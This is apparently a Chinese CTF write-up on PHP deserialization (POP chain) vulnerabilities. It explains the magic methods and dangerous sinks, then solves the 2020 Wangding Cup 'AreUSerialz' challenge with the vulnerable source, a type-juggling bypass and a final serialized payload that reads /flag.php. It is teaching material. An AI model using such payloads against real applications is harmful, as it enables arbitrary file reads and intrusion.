漏洞原理:
serialize() //將一個物件轉換成一個字串 unserialize() //將字串還原成一個物件 #觸發條件:unserialize函式的變數可控,檔案中存在可利用的類,類中有魔術方法. __wakeup() //物件被序列化之後立即執行 __construct //建構函式,在例項化類的時候會自動呼叫#在建立物件時觸發 __destruct() //解構函式,通常用來完成一些在物件銷燬前的清理任務#在一個物件被銷燬時呼叫 __toString() //需要一個物件被當做一個字串時呼叫 __call() //在物件上下文中呼叫不可訪問的方法時觸發 __callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發 __get() //用於從不可訪問的屬性讀取資料 __set() //用於將資料寫入不可訪問的屬性 __isset() //在不可訪問的屬性上呼叫isset()或empty()時觸發 __unset() //在不可訪問的屬性上使用unset()時觸發 __invoke() //當嘗試以呼叫函式的方式呼叫一個物件時觸發
漏洞利用思路:
物件中的各個屬性值是我們可控的,因此一種PHP反序列化漏洞利用方法叫做“面向屬性程式設計”(Property Oriented Programming).與二進位制漏洞中常用的ROP技術類似,在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續呼叫其他gadgets.在PHP的POP中,對應的初始化gadgets就是wakeup()或者是destruct(),在最理想的情況下能夠實現漏洞利用的點就在這兩個函式中,但往往我們需要從這個函式開始,逐步的跟進在這個函式中呼叫到的所有函式,直至找到可以利用的點為止。
一些需要特別關注,跟進的函式:
RCE:
exec(),passthru(),popen(),system()
File Access:
file_put_contents(),file_get_contents(),unlink()
真題 2020網鼎杯-青龍組-AreUSerialz
題目給了原始碼:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
跟蹤destruct()發現存在對op這個變數存在全等於驗證,當op為字串2值時op被強行賦值為字串1
,導致後面直接進入寫操作,故用$op=2繞過
另外呼叫了process(),關聯read()和write()兩個函式,一個讀,一個寫
想要拿到flag需要通過read()讀到/flag.php
$op=2繞過第一層判斷進入讀操作
if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); }
然後就是GET方法傳參str,發現存在一個is_valid()驗證函式,過濾了提交的引數中資料ASCII碼<32且>125的字元
根據資訊生成例項:
<?php class FileHandler{ public $op = 2; public $filename="/flag.php"; public $content; } $a = new FileHandler(); $b = serialize($a); echo($b); ?>
執行生成payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}